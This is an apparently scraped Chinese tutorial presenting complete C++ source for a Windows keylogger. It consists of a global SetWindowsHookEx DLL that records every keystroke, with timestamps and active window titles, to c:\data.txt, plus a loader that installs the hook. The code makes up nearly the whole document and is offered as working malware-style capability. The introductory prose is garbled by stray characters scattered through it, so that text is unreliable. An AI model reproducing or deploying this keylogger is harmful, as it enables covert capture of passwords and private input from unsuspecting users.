簡(jiǎn)介
鍵盤記錄功能一直是木馬等惡意軟件窺探用戶隱私的標(biāo)配,那么這個(gè)功能是怎么實(shí)現(xiàn)的呢?在Ring3級(jí)下毅整,微軟就為我們內(nèi)置了一個(gè)Hook窗口消息的API映胁,也就是SetWindowsHookEx函數(shù)预侯,這個(gè)函數(shù)能夠?qū)崿F(xiàn)優(yōu)先攔截提交給特定窗口的信息致开,并進(jìn)行攔截者需要的處理,然后再提交給窗口函數(shù)或是下一個(gè)鉤子函數(shù)萎馅,函數(shù)第一個(gè)參數(shù)為idHook双戳,需要設(shè)置鉤子的類型,在以下代碼樣例中我們選擇安裝的鉤子類型為WH_GETMESSAGE糜芳,用來攔截WM_KEYDOWN鍵盤信息飒货。
注意點(diǎn)在于如果要使用這個(gè)函數(shù)進(jìn)行Hook全局進(jìn)程窗口信息的時(shí)候,要使用DLL調(diào)用耍目,因?yàn)槿缃馱indows系統(tǒng)中進(jìn)程信息是相互隔離的膏斤,只有通過DLL注入其他進(jìn)程才可以獲取其他進(jìn)程窗口的信息。
C++代碼樣例
1. 鍵盤鉤子DLL主程序
//////////////////////////////////////////////////////////////////
//
// FileName : KbHook.cpp
// Creator : PeterZheng
// Date : 2019/2/12 09:32
// Comment : Keyboard Hook Demo
//
//////////////////////////////////////////////////////////////////
#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <queue>
#include <windows.h>
using namespace std;
//本文件模塊句柄
HINSTANCE g_hInstance = NULL;
// HOOK鉤子句柄
HHOOK g_hHook = NULL;
// 鍵盤記錄日志路徑
const CHAR KEYBOARD_LOG[30] = "c:\\data.txt";
// 字符串緩沖區(qū)默認(rèn)長(zhǎng)度
const SHORT BUFF_LENGTH = 100;
CONST DWORD KeyMask = 0x80000000;
// 創(chuàng)建共享內(nèi)存段
// param szPreTitle 保存上一個(gè)文件標(biāo)題
#pragma data_seg("sharedata")
CHAR szPreTitle[BUFF_LENGTH] = { 0 };
#pragma data_seg()
#pragma comment(linker, "/SECTION:sharedata,RWS")
CHAR szBuff[BUFF_LENGTH] = { 0 };
/*
使用“表驅(qū)動(dòng)”的方式進(jìn)行鍵位映射邪驮,可減少大多數(shù)鍵盤記錄器中存在的大量if-else結(jié)構(gòu)的情況莫辨,
大幅度縮小程序體積。
*/
// 鍵盤虛擬映射值表
CONST UCHAR SPECIAL_SIGN_MAPPING_TABLE[][20] = {
{192, 189, 187, 219, 221, 220, 186, 222, 188, 190, 191},
{VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6, VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12},
{VK_ESCAPE, VK_TAB, VK_CONTROL, VK_MENU, VK_LWIN, VK_RWIN, VK_INSERT, VK_DELETE, VK_HOME, VK_RETURN, VK_SPACE},
{VK_NUMLOCK, VK_BACK, VK_END, VK_PRIOR, VK_NEXT, VK_CANCEL, VK_CLEAR, VK_SELECT, VK_PRINT, VK_EXECUTE, VK_LEFT, VK_RIGHT, VK_UP, VK_DOWN},
{VK_ADD, VK_SUBTRACT, VK_MULTIPLY, VK_DIVIDE, 190, 110},
{VK_NUMPAD0, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9}
};
// 真實(shí)字符映射碼表
CONST CHAR* CONST OBJECT_SIGN_MAPPING_TABLE[][20] = {
{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"},
{ "!", "@", "#", "$", "%", "^", "&", "*", "(", ")" },
{ "`", "-", "=", "[", "]", "\\", ";", "\'", ",", ".", "/" },
{ "~", "_", "+", "{", "}", "\\|", ":", "\"", "<", ">", "?" },
{ "[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[F11]", "[F12]" },
{"[ESCAPE]", "[TAB]", "[CTRL]", "[ALT]", "[LWIN]", "[RWIN]", "[INSERT]", "[DELETE]", "[HOME]", "[Enter]", "[SPACE]"},
{"[NUMLOCK]", "[BACKSPACE]", "[END]", "[PGUP]", "[PGDOWN]", "[CANCEL]", "[CLEAR]", "[SELECT]", "[PRINT]", "[EXCUTE]", "[←]", "[→]", "[↑]", "[↓]" },
{"+", "-", "*", "/", ".", "."},
{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"},
};
// Dll執(zhí)行入口
BOOL APIENTRY DllMain(_In_ void* _DllHandle, _In_ unsigned long _Reason, _In_opt_ void* _Reserved)
{
g_hInstance = (HINSTANCE)_DllHandle;
switch (_Reason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_DETACH:
if (g_hHook != NULL)
{
UnhookWindowsHookEx(g_hHook);
}
break;
}
return TRUE;
}
// 獲取當(dāng)前本地時(shí)間
VOID GetFmLocalTime(CHAR* szFmTime)
{
ZeroMemory(szFmTime, BUFF_LENGTH);
SYSTEMTIME sys_t;
GetLocalTime(&sys_t);
sprintf_s(szFmTime, BUFF_LENGTH, "%4d/%02d/%02d %02d:%02d:%02d ", sys_t.wYear, sys_t.wMonth, sys_t.wDay, sys_t.wHour, sys_t.wMinute, sys_t.wSecond);
return;
}
// 把字符保存到文件
VOID SetDataToFile(CHAR *buff)
{
HANDLE hFile = CreateFile(KEYBOARD_LOG, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, "CreateFile Error", "Tips", MB_OK);
return;
}
if (SetFilePointer(hFile, 0, NULL, FILE_END) == -1)
{
MessageBox(NULL, "SetFilePointer Error", "Tips", MB_OK);
return;
}
DWORD dwWrite = 0;
if (!WriteFile(hFile, buff, strlen(buff), &dwWrite, NULL))
{
MessageBox(NULL, "WriteFile Error", "Tips", MB_OK);
return;
}
CloseHandle(hFile);
return;
}
// 鍵盤鉤子回調(diào)函數(shù)
LRESULT CALLBACK KeyHookProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (nCode < 0)
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
if (nCode == HC_ACTION)
{
MSG *p = (MSG*)lParam;
//判斷是否由擊鍵消息
if (p->message == WM_KEYDOWN)
{
UCHAR vKey = (UCHAR)p->wParam;
ZeroMemory(szBuff, BUFF_LENGTH);
// 時(shí)間和標(biāo)題信息字符串
CHAR szInsert[BUFF_LENGTH] = "\0";
// 當(dāng)前窗口名
CHAR szNowTitle[BUFF_LENGTH] = "\0";
HWND hForegroundWnd = GetForegroundWindow();
GetWindowText(hForegroundWnd, szNowTitle, BUFF_LENGTH);
if (strcmp(szNowTitle, szPreTitle) != 0)
{
// 格式化時(shí)間字符串
CHAR szFmLocalTime[BUFF_LENGTH] = "\0";
GetFmLocalTime(szFmLocalTime);
strcat_s(szInsert, BUFF_LENGTH, "\r\n\r\n< ");
strcat_s(szInsert, BUFF_LENGTH, szFmLocalTime);
strcat_s(szInsert, BUFF_LENGTH, szNowTitle);
strcat_s(szInsert, BUFF_LENGTH, " >\r\n\r\n");
strcpy_s(szPreTitle, BUFF_LENGTH, szNowTitle);
SetDataToFile(szInsert);
}
DWORD iShift = GetKeyState(VK_SHIFT);
DWORD iCapital = GetKeyState(VK_CAPITAL);
DWORD iNumLock = GetKeyState(VK_NUMLOCK);
BOOL bShift = (iShift & KeyMask) == KeyMask;
BOOL bCapital = (iCapital & 1) == 1;
BOOL bNumLock = (iNumLock & 1) == 1;
// 頂部數(shù)字鍵
if (vKey >= '0' && vKey <= '9')
{
if (!bShift)
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[0][vKey - '0']);
}
else
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[1][vKey - '0']);
}
goto END;
}
// 標(biāo)點(diǎn)符號(hào)鍵
for (int i = 0; i < 11; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[0][i])
{
if (!bShift)
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[2][i]);
}
else
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[3][i]);
}
goto END;
}
}
// 字母鍵
if (vKey >= 'A' && vKey <= 'Z')
{
if (bShift || bCapital)
{
szBuff[0] = vKey;
}
else
{
szBuff[0] = vKey + 32;
}
goto END;
}
// F1 - F12 鍵
for (int i = 0; i < 12; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[1][i])
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[4][i]);
goto END;
}
}
// 特殊功能鍵
for (int i = 0; i < 11; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[2][i])
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[5][i]);
goto END;
}
}
for (int i = 0; i < 14; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[3][i])
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[6][i]);
goto END;
}
}
// 小鍵盤
for (int i = 0; i < 6; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[4][i] && bNumLock)
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[7][i]);
goto END;
}
}
for (int i = 0; i < 10; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[5][i] && bNumLock)
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[0][i]);
goto END;
}
}
END:
SetDataToFile(szBuff);
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
// 部署全局鉤子
extern"C" __declspec(dllexport) BOOL StartHook()
{
if (g_hHook != NULL)
return FALSE;
//安裝鉤子
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)KeyHookProc, g_hInstance, NULL);
return TRUE;
}
// 卸載鉤子
BOOL StopHook()
{
if (g_hHook != NULL)
{
if (!UnhookWindowsHookEx(g_hHook))
return FALSE;
g_hHook = NULL;
}
return TRUE;
}
2. DLL載入程序
//////////////////////////////////////////////////////////////////
//
// FileName : KbHookRunner.cpp
// Creator : PeterZheng
// Date : 2019/2/12 09:32
// Comment : Keyboard Hook Loader
//
//////////////////////////////////////////////////////////////////
#include <windows.h>
#include <cstdio>
#include <cstdlib>
#include <iostream>
using namespace std;
typedef BOOL(*StartHook)();
int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
HMODULE hModule = LoadLibrary("KbHook.dll");
if (hModule == NULL)
{
return 0;
}
StartHook STHK = (StartHook)GetProcAddress(hModule, "StartHook");
if (STHK == NULL)
{
return 0;
}
BOOL bRet = STHK();
if (bRet)
{
MessageBox(NULL, "Hook Success", "SetHook", 0);
}
else
{
MessageBox(NULL, "Hook Error", "SetHook", 0);
return 0;
}
Sleep(100000);
return 0;
}